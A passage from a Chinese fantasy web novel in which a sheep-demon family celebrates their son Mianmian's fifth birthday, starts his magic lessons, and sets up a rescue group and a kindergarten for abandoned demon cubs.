“完了,完了,我母爱泛滥了。”姚奚雨深吸一口气。 “我可以说,没人能做到看着眠眠超过十秒不抱他。”姚奚雨笃定道。 杨思昭掩唇笑。 然而下一秒姚奚雨的论断就被人推翻了,眠眠拿了一只杯子蛋糕,送给不远处正在玩遥控小汽车的许曜,许曜没理他,眼睛紧紧盯着小汽车,径直往前走。眠眠立即追了过去,许曜回头看了看他。 “哥哥,蛋糕。”眠眠说。 “我不爱吃。”许曜还是一副拽样。 眠眠没有灰心,回去拿了一只巧克力蛋糕,重新递给许曜,许曜还是硬梆梆地说:“我不喜欢吃蛋糕,别给我拿了。” 眠眠低下头,撅起嘴巴。 一旁的姚奚雨看了,颇为来火,恨不得撸起袖子,“那小男孩怎么回事?” 杨思昭无奈道:“一直这样,比以前好点了,以前连话都不肯说。” “他竟然不喜欢眠眠!”姚奚雨不能理解。 “"没事的。”杨思昭只笑了笑,带着姚奚雨去遮阳伞下聊天去了。 眠眠盯着手里的巧克力纸杯蛋糕,是妈妈亲手做的,里面是爆浆的巧克力酱,外面洒了糖粉和榛子碎,可好吃了。 所有的小朋友都很喜欢。圈圈连吃了两个。只有许曜哥哥不喜欢。 眠眠正准备离开,手里的蛋糕忽然被人夺走,他抬起头,看到许曜一脸不耐烦地握着蛋糕,用力一捏,蛋糕就冒了出来。他张口咬,嘴角都溢出了巧克力酱。 像胡子,眠眠傻笑。 “这是给你的,已经调好了。”许曜把小汽车的遥控器塞到眠眠手里,看都不看眠眠一眼,撂下一句“自己玩”就头也不回地走了。 眠眠呆呆地望着他的背影。 他不会玩,还是杨思昭发现了他,握着他的小手,和他一起控制着小汽车。 小汽车一路向前,穿过一重重长桌,越过人群,直直地冲向陆无烬,最后撞在陆无烬的皮鞋上。 “咚!”眠眠给小汽车配音。 陆无烬低头看,而后抬眸望过来,眠眠仰起头朝他笑。 他今天穿了一件粉色小卫衣和蓝色的牛仔背带裤,头戴一只白色的小帽子,面色白里透红,笑起来眼睛弯成小月牙,看起来可爱极了。 陆无烬决定不和他计较。 眠眠跑向爸爸,陆无烬一把就将他拎了起来,放在臂弯里,带着他依次见过各位长辈,还有妖界的几位重要人物。 他见到生人还是腼腆害羞,打招呼到最后已经嫌麻烦了,抱住陆无烬的脖子,埋着脸,无论陆无烬怎么喊他,他都不抬头。陆无烬也没有怪他,只是拍拍他的屁股,对他说:“累了就去找妈妈。” 他把眠眠放下,眠眠又回到杨思昭的怀抱里。 一抱住妈妈,他瞬间重获生机。 正巧乐乐拉着小池和方小望过来,扬声道:“眠眠,和我们一起玩游戏吧!” 眠眠立即跑了过去。 圈圈和方小盼也参与进来。 他们一开始玩老鹰捉小鸡,小班长乐乐最机敏,主动要求做老鹰,眠眠是最后一只小鸡。他反应慢一些,前两次都是很快被抓住,有些沮丧地回到杨思昭的怀抱,“眠眠不想当小鸡,眠眠是小羊。”“可是乐乐是小豹子,她也愿意当老鹰。” 眠眠不吭声了。 杨思昭告诉他:“眠眠要紧紧盯着最前面的小池,看她往哪里跑,你就往哪里跑,你还可以猜乐乐要往哪个方向跑。” 眠眠认真地想了想,于是重回战场。 这一次,他成功躲避了三轮袭击。 小羊老师兼任裁判,公平地落下手:“第三局结束,小鸡们胜利!” “耶!”小鸡们开心地蹦蹦跳跳。 杨思昭给每一个小朋友都发了礼物,眠眠提醒他:“妈妈,乐乐赢了两次,应该有两份礼物。” 杨思昭很惊讶。 眠眠的话让他第一次意识到他的孩子正在渐渐长大。眠眠会照顾朋友了,对待朋友充满善意,还会细心思考。杨思昭鼻头一酸,竟有几分想落泪的冲动。 他抱了抱眠眠,把礼物分给眠眠,和眠眠一起去给小朋友们发。 生日派对进行得很顺利,只是中间出了点小插曲——小家伙们太过兴奋,差点集体露出原形。 幸好有陆无烬在,手一抬,眠眠的羊角和方家兄妹的狐狸尾巴就收了回去。 姚奚雨眯起眼睛:“我刚刚……刚刚好像看到了……尾巴?” 杨思昭吓了一跳,把蛋糕塞到她手里,拉着她和她男友,强行扯回话题。 派对快结束的时候,方小盼扭扭捏捏地揪住了杨思昭的衣摆,眼睛一个劲地往陆无烬的方向瞥。杨思昭蹲下来问他:“怎么啦?有什么话要对小羊老师说?” “小羊老师,我想问问尊主大人,我要怎么做才能再长出一条尾巴?” 他一脸悲伤,“妹妹有十条尾巴,我只有八条,他们都说我是笨蛋狐狸。” “谁说的?”杨思昭很生气。 他把方小盼带到陆无烬面前,向陆无烬长尾巴的讨教方法。 陆无烬每天日理万机,操心整个妖界的大事,怕是第一次回答这样的问题,但杨思昭用眼神逼迫他认真说,他于是耐下性子,惜字如金地回答:“好好长大。” 杨思昭把方小盼揽进怀里,温柔道:“听到了吗?小盼要好好长大,长大之后学会修炼法术,想变成什么样都可以。” “真的吗?”小盼满眼写着期待。 “当然了!” “长大了还可以保护妹妹!我妈妈说,好多坏妖怪都想要妹妹的尾巴,等我长大了,我要把他们都打败,谁都不可以伤害我妹妹!”小盼攥起小拳头。 杨思昭莞尔:“是啊,好棒!” 客人们尽数离开,潜山别墅恢复了宁静。偌大的草坪,只剩下一家三口。 他们各自睡了一张躺椅。 杨思昭望着远处的小鸟,问眠眠:“妈妈的礼物是蛋糕,眠眠喜不喜欢?” “喜欢!”眠眠伸长胳膊,划了一个大大的圆,“超级超级超级喜欢!” “爸爸的礼物呢?”杨思昭促狭道。 陆无烬抬起手,空空如也的掌心眨眼间就冒出了一颗水晶模样的灵石,无数细小的切割面,在阳光下映出璀璨的光。 “眠眠,五岁了,是时候开始学习修炼法术了。” 眠眠扁起嘴巴,显然没什么兴趣。 杨思昭偷笑。他就知道。 谁料陆无烬下一句就拿出杀手锏,“眠眠学会了法术,就可以保护妈妈。” 眠眠立即睁大眼睛,举起手:“我要保护妈妈!” “.….”杨思昭对陆无烬的手段表示一言难尽。 这个坏东西,心眼子全用在他们母子俩身上了。 眠眠从自己的躺椅里翻出去,一骨碌爬到陆无烬的怀里,躺在他的胸口,和他学着法术。陆无烬教他并起两根指头,他怎么都按不住小指,气得要哭。 “笨小羊。”陆无烬无情盖章。 眠眠的眼泪夺眶而出,“呜哇——” 杨思昭在陆无烬的肩头狠狠拍了一下,揽住眠眠,一遍遍耐心地教他。 终于,眠眠学会了并指头。 他开心地摇头晃脑。 陆无烬看着他,忍不住弯起嘴角。 一旁的杨思昭拿出拍立得,把画面定格,又取出眠眠的成长记录手册,把胶片贴了上去,用笔在一旁写下: 【今天,眠眠五岁了,我们过了一个幸福又热闹的生日派对。】【爸爸在教眠眠练法术。】【眠眠很棒,只用了半个小时就学会了第一步,将来肯定和爸爸一样厉害。】 听到妈妈说完最后一句,眠眠害羞地捂住脸,歪倒在爸爸的怀抱里。 过了一会儿,他接过妈妈手里的笔,握棍子一样地握住笔,围着照片画了一个大大的爱心,“这是眠眠的心。” “爸爸妈妈在眠眠的心里面。” 54、第54章.. 杨思昭这两天一直在思考自己的职业规划。 他原先还蛮喜欢幼师这份工作,可问题是他来灿灿幼儿园一年多了,只和小(5)班的几只小妖怪相处过,并没有太多教学经验。他原本还以为自己是天生幼师圣体,后来才知道是同类相吸。 毛茸茸总是吸引毛茸茸的。 其实杨思昭本来也没有很想思考羊生,奈何他家有一位卷王,从千年前的将军生涯就开始卷,从年轻一代里修为最高的神君,一路卷成妖界历史上最勤政的妖王。 尤其是最近几个月,自从陆无烬着手大刀阔斧的改革之后,妖界一派欣欣向荣的景象,万物复苏,朝气蓬勃。 “我想不明白,这个世界上怎么会有干一行爱一行的人呢?” 杨思昭咬着勺子,望着天花板发呆。 杨父放下报纸,“能力有多大,责任就有多大,能者多劳,自然辛苦。” “可是我不想他这么辛苦。” 秦慧娴抱着眠眠走过来,腾出一只手在杨思昭的脑袋上敲了一下,没好气地说:“你就是想让无烬陪你玩,当妈的人了,还是小孩子心性,长不大。” “才不是!”杨思昭捂住脑袋,为自己辩解:“我在认真思考我接下来的生活。” 幼师还是要当的,至少要陪小(5)班的小家伙们过完幼儿园的欢乐时光。 那一年半之后呢? 小妖怪们随父母回妖界,他还要继续留在灿灿幼儿园里工作吗? 除了幼师,他还能做些什么? 杨思昭陷入几百年羊生里第一次生存困境。 眠眠穿着秦慧娴新买的草莓小羊家居服,歪着脑袋看了看妈妈。发现妈妈眉头紧锁,好像有点不高兴,他立即从秦慧娴的怀里跑出来,挤进杨思昭的臂弯。 他用力伸长胳膊,摸了摸杨思昭的头顶,生怕妈妈刚才被奶奶打疼了。 “妈妈,为什么皱眉头?”他抱住杨思昭,一脸认真地:“眠眠要做什么?眠眠现在就去!” 杨思昭心软得一塌糊涂,抱住眠眠一个劲地晃,“眠眠什么都不用做,只需要吃饱饱,睡饱饱,开开心心就好啦。” 一大一小又开始腻歪。 这回连秦慧娴都看不下去了,“回洵山吧,无烬不在,你连魂都找不到了。” 杨思昭于是带着眠眠回了洵山,先去了一趟爹娘家,晚上再赶往青竹林——没有告诉陆无烬。他准备给陆无烬一个惊喜。 陆无烬近来困于案牍,都是半夜回人间,在杨思昭的屋子里神出鬼没。杨思昭一般对他爬上床的事毫无察觉,只在第二天醒来时,发现自己整个人都窝在他的怀里,交颈而眠。 一家三口的相聚,陆无烬奔赴的次数更多些。 安静又僻远的青竹林成了陆无烬在妖界的办公地点,他在主屋不远处建了两间房,和主屋隔着一条小溪。下属来见他,就从偏门进,不会影响到一家三口的正常生活。杨思昭带着眠眠穿过青竹林,抵达小屋时,陈此安刚走出来,杨思昭朝他“嘘”了一声,压着嗓子问:“他还在忙吗?” “事情处理得差不多了。” 杨思昭点头,朝陈此安说了声“辛苦了”,就带着眠眠走了进去。 眠眠有点困了,对桥下的小鱼都没了兴趣,哈欠连天,泪眼婆娑,走路慢吞吞。 杨思昭也不催他,牵着他的小手慢慢地往前走。 眠眠察觉到妈妈的等待,于是晃了晃脑袋,跺了跺脚,成功打败了瞌睡虫。 “妈妈!”他露出明媚笑脸。 杨思昭也朝他笑,不过又把手抵在唇边“嘘”了一声,“我们要给爸爸一个惊喜的!” 眠眠立即抿起嘴巴,连连点头。 两只小羊蹑手蹑脚地走到窗边,借着一指宽的缝隙,看到灯下办公的陆无烬。 “爸爸好辛苦哇。”杨思昭在眠眠耳边轻声说。 眠眠撅了噘嘴,也很心疼爸爸。 杨思昭从随身带的包里拿出一只保温盒,里面是他在家炖的银耳羹。他本想声东击西捉弄陆无烬一下,可看他面色冷沉,知道公务繁忙,便放弃了恶作剧,牵着眠眠的手,走到门口,敲了敲门板,陆无烬没有应。 "?"杨思昭顿生困惑。 眠眠也举起手,敲了敲门。 还是没听见陆无烬的声音。 两只小羊大眼瞪小眼,正准备直接推门进去,门霍然开启。 陆无烬站在里面,眼中没有意外之色,但含着微不可察的笑意,“我正要回家。” “我这也是回家啊。” 杨思昭举起手里的保温盒,眨眨眼:“噔噔噔!爱心夜宵,惊不惊喜?” 陆无烬笑而不语。 杨思昭缠着他,“回答我嘛,惊不惊喜?” 眠眠也凑上来,“爸爸,惊不惊喜?” “惊喜。”陆无烬一把将他抱了起来,放在桌边。 眠眠晃荡着两条小短腿,看爸爸打开保温盒,一股清香溢了出来。 “里面有红枣枸杞莲子百合银耳。”杨思昭笑眯眯说:“大补,超级补。” 陆无烬笑得促狭,“补什么?” “.….”杨思昭愣了几秒才反应过来,红着耳根说:“当然是补气血,你快吃!” 眠眠不知道妈妈为什么又脸红了,但他看着爸爸手里的碗,肚子不由自主地咕咕叫了起来,他张大嘴巴:“啊——” 但是爸爸妈妈正在打情骂俏,谁都没有注意到他。 他再一次:“啊—” 这一次,妈妈注意到了他,但没有领会他的意思,“眠眠打哈欠了,是不是困了?“眠眠呆住,指了指自己的肚子。“他要你哄他睡觉。”陆无烬了然。眠眠皱起眉头,叉着腰哼了一声。爸爸妈妈分开的时候,妈妈是温柔的小羊老师,爸爸是凶巴巴的尊主大人。可是只要他们一靠近,就变得耳朵也听不见了,脑袋也昏沉沉了,只知道凑在一起说悄悄话。 还会忽略一旁的眠眠! 爸爸妈妈现在真是越来越黏糊了,这么大的人了,还要天天腻在一起。真是不成熟的大人,不像我,眠眠气鼓鼓地想。幸好最后杨思昭耳尖地听见了眠眠的咕咕叫,虎口夺食般的,把剩下的半碗银耳羹送到眠眠嘴边,“眠眠喝不喝?” 眠眠的嘴巴已经撅得能挂油瓶了。 他的心里说,眠眠委屈,眠眠要和爸爸妈妈生三分钟的气。 但是妈妈一摸他的小脸,他就控制不住地咧嘴笑了,张大嘴巴说:“啊——” 眠眠是馋嘴小鸟胃,摆出了气吞山河的架势,最后只吃了三四口,剩下的残羹,都被陆无烬风卷残云地解决完。 眠眠心满意足地摸摸肚子。 他低头望向爸爸手里的册子,上面写满了他看不懂的字。 人有人的语言,妖也有妖的文字。 陆无烬把他抱到腿上,教他一个一个地认册子上的字,眠眠的好学只能坚持到第一页,没多久就开始哈欠连天,脑袋一歪,靠在陆无烬的胳膊上,开始打盹了。 杨思昭轻笑,把他抱了起来,带到卧房,简单洗漱了一下,就放进了被窝。 哄完眠眠出来,已经入了深夜。 月明星稀。 陆无烬合上册子,杨思昭推门进来。 看起来有话要说。 杨思昭的措娇功夫比眠眠更炉火纯青,粘人起来简直毫不费力,他拉开陆无烬的手臂,挨挨蹭蹭地坐到他的腿上,靠在他的肩头,“你好忙,以前也忙,我总是无聊。” “不是很喜欢照顾孩子吗?” “可是孩子不会永远是孩子,我能感觉到他们在长大,再过一年,他们就要跟着爸爸妈妈回来了,不会一直留在灿灿幼儿园。”他顿了顿,又说:“我应该也不会一直留在灿灿幼儿园,之后……我要做些什么呢?”他又不是依附陆无烬生长的菟丝花,再说了,菟丝花还会借力生长,他该借什么力呢? 陆无烬掂了掂膝盖,像捉弄眠眠一样,捉弄着杨思昭,把杨思昭掂得左右晃悠。 “哎呀,我在和你说正经事。” “我知道,”陆无烬抚着他的后颈,将他轻轻压下,亲了亲他,“暮儿长大了。” 从不谙世事的小羊妖洵暮,变成了温柔可爱的小羊老师,现在是杨思昭。因为感受到了爱,所以想发挥一些余热,做些力所能及的事。“妖界有些兽族,迫于生存压力,会抛弃较为弱小的孩子,让他们自生自灭。”陆无烬话还没说完,杨思昭就两眼一亮:“我去救助他们,是不是这个意思?” 陆无烬莞尔,杨思昭搂着他的脖子,已经开始想象:“以后每个周末我都去山上巡逻,带着眠眠!就从洵山开始吧,再去彩云山、刀鞘山……那救助来的小妖兽放在哪里呢?” “我来安排。”陆无烬说。 杨思昭的心情一下子明朗了。 他的生活再一次充实起来,变得有意义、有价值,他搂住陆无烬,“你最好啦!” “只是……你?” “唔。”杨思昭到现在还没有改口,以前叫神君,现在就是直呼“陆无烬”,他在旁人面前从不遮掩自己是陆无烬妻子的身份,到了陆无烬面前却情怯,总是叫不出口。 “你要听什么?” 陆无烬扬了下眉尾。 杨思昭把脸埋在他肩头装死。 陆无烬也不催他,手掌有一下没一下地拍在他的屁股上。 杨思昭四肢纤瘦,浑身细条条的,唯独屁股有肉,饱满紧实,拍起来很有弹性,和眠眠的屁股不是一个手感,眠眠的屁股像刚新鲜出炉的暄软小面包,陆无烬都很喜欢。 他拍得稍微重了些,逼得杨思昭只能往他怀里钻。 半晌,憋出一声“老公”。 陆无烬的手才停下。 “老公。”杨思昭又叫了一声。 陆无烬很是受用,低头和他接了一个绵长的吻,唇舌分开时他说:“思昭,我在。” “想做什么都可以。” 杨思昭想:他真是一只志向小小的小羊,没什么出息,在大展宏图之前,此时此刻,他只想和陆无烬颠鸾倒凤。 他翻过身,跨坐在陆无烬的腿上。 陆无烬指尖微动,木门就咣的一声关上,遮住了一室风月。 翌日清晨,杨思昭照例在眠眠的叽叽喳喳声中醒来。 他听见眠眠对陆无烬说:“爸爸,为什么我长得这么慢,我要多久才能长大?” “十几年。” “十几年是多久?” 陆无烬沉默,他显然没工夫陪眠眠进行育儿对话。 杨思昭把脸埋在眠眠的小肚子上蹭了蹭,猛吸了一口,“从眠眠找到妈妈那天开始,到现在已经过去半年多了,两个半年就是一年,眠眠想一想呢,十几年是多久?” “好久哦。”眠眠认真想了想。 很快他又开心起来,“好久,妈妈可以陪我好久好久。”他傻兮兮地笑,后知后觉,“咦?妈妈你醒啦!”杨思昭抬起头,看到满屋日光,陆无烬慵懒地倚靠在床头,垂眸看他。眼神一如既往的温柔。杨思昭笑了笑,伸出手臂同时圈住陆无烬的腰还有眠眠。眠眠把下巴抵在杨思昭的胳膊上,一边朝杨思昭傻笑,一边哼着不成调的小曲。 “啦~啦啦~眠眠和妈妈啦啦啦~” 吃完早饭,陆无烬给杨思昭带来了一些救助工作必需品,有控制凶兽的法器,也有能检测出周围陷阱或者危险的法器,还有增加修为的琼花露,陆无烬还给他派了两个下属。杨思昭则是召集了小分队。 小(5)班的小妖怪们按规定还有一年才能回妖界,杨思昭特意为他们申请了暂留许可,允许他们每周一次回到妖界,既是参与救助小队,也是帮助他们提前适应妖界的生活。“我们是——羊羊救助队!” 杨思昭带着六只小妖怪组成了小分队,队服是统一的黄色小马甲,小妖怪们各背了一只竹编背篓,戴着遮阳帽,穿着小雨靴。 “小羊老师,我们要去哪里?”乐乐问。 “第一站是洵山北。”杨思昭指向北边。 小妖怪们蹦蹦跳跳,“出发!” 他们一个揪着前一个的衣摆,由小班长乐乐领头,排成了小火车的样子,朝洵山北边出发。 救助自然没有他们预想的轻松,半天都一无所获,但是小妖怪们都兴致勃勃,没有一个喊累喊苦。 快到中午的时候,圈圈从兜兜里拿出一袋小面包,正准备吃,又想起“假如遇到了可怜被丢弃的小兽,它很饿想吃面包怎么办”,于是把面包塞回兜兜,继续往前走。 第一天,收获为零。 小妖怪们有点沮丧,但是杨思昭教他们转变想法:“找不到说明被遗弃的小妖怪们越来越少了,这是好事呀,大家应该开心。” 于是六只小苦瓜瞬间变成六朵小花。 羊羊救助队在第三周遇到了第一个救助对象,一只奄奄一息的小虎妖。 看起来是先天发育不良,两条后腿严重萎缩,因此被遗弃,不能走路,骨瘦嶙峋。杨思昭再迟一天发现它,它估计就没命了。 六只小妖怪围着它,它连惊恐都没力气。 眠眠伸手,用爸爸教他的方法,凝神、使劲、释放出蓝色点点。 蓝色点点从眠眠的指尖溢出来,落在小虎妖的身上,小虎妖虚弱的眼皮忽然抬了起来,眼神变得清澈,前爪动了两下。 “小虎,快点好起来。”眠眠说。 其余五只小妖怪一起念叨。 杨思昭把琼花露倒在手心,让小虎妖舔舐,过了一会,小虎妖忽然撑起前肢,用一双湿漉漉又可怜的眼睛望向四周。 杨思昭向它伸手,“和我们走吧。” 他的笑容温柔明媚,带着无尽的善意。 良久,小虎妖把前爪放到杨思昭的手心,伸出粉嫩的舌头,舔了舔,表示它的温驯。 杨思昭把小虎妖抱起来,放在自己的背篓里,他的背篓里铺了软绵绵的毯子,小虎妖蜷缩着,又怯怯地探出头,对上了六双好奇的眼睛,瞬间呆住。 眠眠问:“妈妈,我们救了他吗?” “是哦。” “妈妈,他叫什么名字呀?” “这个妈妈也不知道。” 小妖怪们没有刨根究底,他们跟在杨思昭的身后,开着小火车回了青竹林。 像在幼儿园一样,小家伙们吵吵嚷嚷地吃完晚饭,再由杨思昭把他们带出界门,送到家长手中。 青竹林恢复了平静。 杨思昭回来时,看到眠眠蹲在小床前,拨了拨小虎妖的爪子,他走近了,听到眠眠说:“你好呀,我叫眠眠。” “你不要害怕,这是我的家,我的爸爸妈妈都很好,我们把你带回来,是在帮助你。” “你要好好睡觉,好好吃饭,我妈妈说,这样就可以长大,多吃苹果可以不生病。” “希望你在我家过得开心。”“我叫眠眠,晚安。” 杨思昭莞尔一笑,眠眠转过身,看到他,立即咧开嘴笑,小火箭一样冲过去。 成长记录手册上又新增了一条。 洗完澡后,杨思昭抱着眠眠倚在陆无烬的怀里,拿着笔刷刷地写。 眠眠在妈妈怀里打了个滚,又攀岩一样扒着被子,爬到爸爸的怀里,陆无烬没有接住他,他于是一骨碌摔在爸爸的臂弯里。 脸撞在床边。 咣的一声。 “呜呜呜…….”眠眠捂着嘴巴坐起来。 杨思昭立即放下笔,去看他的嘴巴,“怎么了怎么了?” 眠眠张大嘴巴。 “我的牙要断掉了。”眠眠痛心疾首。 杨思昭整个心都提了起来,可是伸手摸了摸那颗松动的小牙,忽然反应过来。 他和陆无烬相视一笑。 拿起笔,在方才写完的记录上续写: 【今天,还发生了一件值得纪念的事,眠眠换牙啦!小乳牙开始晃动啦!】眠眠不明所以,仰着头,齿此着两排小白牙,一个劲地凑到爸爸妈妈面前。 “爸爸,我的牙牙——” “妈妈,我的牙牙——” 他的牙要断掉了,这么大的事,爸爸妈妈竟然不关心。 眠眠哭倒,他决定这次一定要生爸爸妈妈的气,起码十分钟。 真是太讨厌了! 55、第55章... 虽然眠眠是一只实际年龄有三百多岁的小羊妖,但在杨思昭的眼里,他永远是一个脆弱的、先天发育不足的、需要更多更多爱来滋养的五岁宝宝。 对于他换牙这件事,杨思昭查询了许多资料,征求了专业医生的意见,总结了几个注意点:首先,不能养成舔牙的习惯;其次,要多吃含钙量高、耐咀嚼的食物;最后,让乳牙自然脱落,尽量不要人为干预。 所以,每当眠眠仰着头,张大嘴巴,用舌尖抵着正在松动摇晃的小乳牙,焦急地对杨思昭说:“我难受,妈妈,我难受…”杨思昭都会耐心抱住他,陪他玩,逗他开心,让他分散注意力。 可是妈妈的温柔陪伴不能完全治愈眠眠换牙期的难受,直到他回到人界,遇到刚上一年级的许曜。 那天他和许曜同时开门,他将近半个月没回来了,许曜看到他时微微愣住,很快又摆出冷酷的样子,垂眸不语,戴上黑色棒球帽,拎着书包出了门。 眠眠背着小书包追上去,“哥哥!” 他最近热衷于把自己换牙的事情告诉每一个人,电梯门前,他抓着许曜的手,张大嘴巴,求他低下头看。 “哥哥,我的牙会晃,你看你看。” 许曜瞄了一眼,不以为然。 “我很痛的,哥哥,痒痒的还会痛。”杨思昭拎着包走出来,眠眠立即拉住他的手:“不信你问我妈妈,真的很难受。” 杨思昭笑了笑,“是啊,弟弟痛到睡不着觉呢,哥哥可不可以哄哄弟弟?” “不行。”许曜硬梆梆道。 眠眠扁了扁嘴,站到杨思昭的另一边,和许曜隔得老远。 许曜用余光瞥他一眼,不吭声。 结果当天晚上,杨思昭带着眠眠从秦慧娴家回来,一出电梯就看到许曜走出家门,把一只鼓鼓囊囊的牛皮纸袋塞到眠眠的怀里,一句都不留,转身关上了门。 眠眠和杨思昭大眼瞪小眼。 纸袋里有一盒换牙期专用的咀嚼咬胶棒,还有一只雕刻精美的乳牙纪念盒。 杨思昭笑了笑。 “这个小家伙” 明明就很关心弟弟,明明就不是一个冷漠孤僻的小孩,只是喜欢装酷罢了。他回去炖了一锅山药排骨粥,盛出一些装进保温盒里,让眠眠去送给许曜。 眠眠开心地领了任务。然后惨遭退货。 他可怜巴巴地站在门口说:“哥哥在打游戏,让我不要吵他。”杨思昭无奈失笑,但眠眠不言败,重新抱着饭盒走到对面。 他熟练地打开门,和门口的机器人打招呼:“噗噗,是我呀,我又回来了。”然后径直走向许曜的卧室,许曜刚打完游戏,抬起眼皮看了看他,“干嘛?” “哥哥,喝粥。”“什么粥?”“我妈妈做的山药排骨粥。”“不是羊肉粥?” 眠眠扁起嘴巴,气鼓鼓地说:“讨厌哥哥。” 毫无杀伤力。 许曜一脸无所谓,“随便。” 眠眠把保温盒放到许曜面前,“哼”了一声,转身走掉了。 许曜看着他的背影消失在卧室门口,才打开保温盒,一股香味就扑了出来。 粥很稠,山药和排骨一样软烂。 许曜今晚还没吃晚饭。他爸妈说好了这周要回来,结果工作上临时有事,又爽了他的约。反正工作肯定比他重要。 他吃了一口排骨粥,空荡荡的胃忽然变暖,变得舒服了些。 对面妖怪一家看起来很幸福,尤其是那个说话很软的小羊老师,还有那只看起来就不聪明的矮笨羊。他们总是腻在一起,平日里不是手牵手就是贴脸拥抱,亲密无间的好像被什么人分开了几百年。他不是羡慕,只是单纯觉得聒噪。聒噪极了。 他一边想着,一边喝排骨粥,份量并不多,他三下五除二就喝光了。 还有点意犹未尽,可碗里已经空了。 “.….”他沉默,眼神变得暗淡。 矮笨羊生气了,应该不会再来了。 下次见面,估计又要半个月。 结果下一秒,门口响起熟悉的声音:“噗噗我是眠眠,不要拦着我呀!” 许曜怔住,循声抬起头,看到了眠眠。 眠眠绕过小机器人噗噗,抱着一盒小笼包跑过来,屁颠屁颠的,脸上挂着傻兮兮的笑,扬声问:“哥哥,我妈妈还做了小笼包,你要不要吃?” 许曜心想:真是麻烦。但嘴巴却不受控制地说:“好。” 眠眠不计前嫌,在许曜旁边找了个地方,挨挨蹭蹭地坐下来,他没有注意到已经光了的粥碗,也不会趁机笑话许曜。他只顾着把小笼包塞到许曜的手里,“哥哥,我妈妈说,明天早上可以来我们家吃早饭哦,我妈妈做了蟹黄汤包。”眠眠做了一个“吸溜”的动作,“每一口都可以吸到汤汁哦,可好吃啦!” 不同于半年前的怯懦,他现在变得活泼了许多,说话时,脸颊红扑扑,眼睛亮晶晶,笑起来脸颊的小酒窝很明显。 “哥哥,你要不要来?” 许曜这次破天荒地没有拒绝。“你一定要来哦。”眠眠和他拉钩。许曜没有说话,也没有拒绝。眠眠倍感开心,一路小跑地回了家。第二天清晨,许曜果然来敲门了。眠眠穿着草莓小羊的家居服,踮起脚,打开门,笑得一脸明媚:“哥哥!” 这次之后,许曜的脾气好了些。眠眠的换牙期阵痛,也因为许曜送来的咬胶棒,得到了一些缓解。唯一的弊端是,咬胶棒咬多了,小家伙做梦都要咬,嘴巴都合不上了。陆无烬回到青竹林时,就看到这样一幅画面:屋檐遮住了刺眼的日光,杨思昭躺在藤椅上,已经睡熟了,眠眠窝在他的怀里,嘴巴小小地张开,嘴角有一串晶莹的口水流出来,同样睡得香甜。 陆无烬俯身捏了捏眠眠的脸蛋,眠眠咕哝一声,把脸埋在杨思昭的胸口。 ——口水全蹭上去了。 陆无烬扬了下眉,收回手,若无其事地直起身子,走向房间。就这样,把罪责全推给小家伙。反正杨思昭不会对眠眠生气,他只会扁起嘴巴,假装皱起眉头:“哪里来的口水怪,把妈妈的衣服都弄湿了!”眠眠害羞地咧嘴笑,“是眠眠。”杨思昭和他碰了碰脑袋,“是眠眠呀,眠眠是口水怪!”眠眠涨红了脸,更加害羞,把脑袋塞在杨思昭的臂弯里装鸵鸟,全然不知始作俑者是他的臭爸爸。杨思昭用热毛巾给眠眠擦了脸,又换了身衣服,带着眠眠去看小虎妖。小虎妖经过几天的休养,已经恢复了许多,原本瘦到瘪进去的肚子,也逐渐看不到骨头了。一看到杨思昭和眠眠,他就挣扎着爬起来,一双黑瞳圆而亮。眠眠蹲下来,把满满一碗鸡肉放在小虎面前,“快吃吧,吃饱饱。”小虎立即表演了一番“饿虎扑食”。 眠眠吓了一跳,明明小虎每天都吃很多。杨思昭告诉他:“小虎在长身体呢。” 眠眠想了想,攥起小拳头,摆出肌肉超人的模样,“眠眠也在长身体。”“吼吼,眠眠要变得像爸爸那么高。”“那么高呀,妈妈抱不动了怎么办?”眠眠灵机一动,歪着脑袋说:“眠眠可以抱妈妈呀。” 杨思昭笑着说好啊。 一旁的小虎看着他们看入了迷,满眼艳羡,都忘了吃鸡肉了,察觉到杨思昭的目光落下来,他立即低头猛吃。 等他吃完了,才发现杨思昭一直拿着手帕等他,等他痴痴地抬起头。杨思昭忽然把他抱起来,放在腿上,一点点擦去他嘴边的油渍。杨思昭的身上有一股好闻的味道,像花香,又甜甜的,小虎怯怯地凑上去闻了闻。杨思昭朝他笑,捧着他的脑袋,摸了摸他的耳朵,“不要怕,安心住在这里。” 眠眠也贴上来,用脑门蹭了蹭小虎的脑袋。小虎开心地发出了“呼噜噜”的声音。这是他们救助的第一只小兽,暂时放在青竹林里养,但陆无烬已经下令在洵山上建了一所救助屋,已经初具雏形。杨思昭每周都会带着羊羊救助队上山寻找,陆陆续续救助了三只小兽。救助屋逐渐热闹起来。杨思昭又在救助屋旁边开了一家妖界幼儿园,不仅回到妖界的五只小妖怪们可以在这里上学,周边的适龄小妖兽们也可以报名入园。杨思昭还是最受欢迎的小羊老师。这下换成杨思昭忙得没影了。 陆无烬从妖界衙司回到青竹林,家里空空荡荡,陈此安指了指洵山的方向,他于是又赶往洵山,还没走近幼儿园,就听见杨思昭的声音— "来,我看看哪个小朋友的小嘴巴还在说话?"“谁还在说?我要记名字了!”“我要把名单交给妖王大人了哦!” 教室瞬间安静下来。 陆无烬失笑。 他没有打扰杨思昭的工作,而是在幼儿园外一直等到下课铃响才走进去。 草坪上一群毛茸茸滚作一团。 小虎咬着小豹的爪子; 小狼追着小羊; 一群小狐狸贴在一起打滚,火红的尾巴多到数都数不清。 而小羊老师站在不远处,叉着腰,手里的小棍指了又指,毫无用处,最后只能重重叹气,虚弱道:“放学了,回家吧。”陆无烬走进来,带着一股强大而有威慑力的气焰,把所有小妖曾都吓得僵在原地,翻着肚皮玩耍的小虎都不敢翻过来,直接闭上眼睛,吐出舌头装晕。陆无烬负手而立,故意冷了脸。 “以后,放学了就回家,不许乱跑,不许耽误时间,听到没有?” 小妖兽们齐齐应好,一半哭着扑进父母的怀抱,一半扑进救助站保育员的怀抱,“呜哇呜哇”的哭声不绝于耳。 哭声响彻天空,远处鸟雀惊飞。 “…”杨思昭一脸无奈地望向陆无烬。 陆无烬朝他笑,“下班。” 杨思昭朝草坪上的眠眠招了招手,眠眠立即跑了过来,他忘了恢复人形,看到爸爸又高兴,于是一个劲地用小羊角顶陆无烬的手,发出一声声热切的“咩咩”。 “小羊角变粗了。”陆无烬打量道。 杨思昭蹲下来,摸了摸眠眠的小尾巴,“小尾巴也变长了。”黑色的毛毛从一小撮变成半指长。 眠眠被爸爸妈妈包围着,开心地在草地上打了个滚,粉嫩的肚皮朝上。 妈妈摸左边,他就往右边扭; 爸爸摸右边,他就往左边扭。 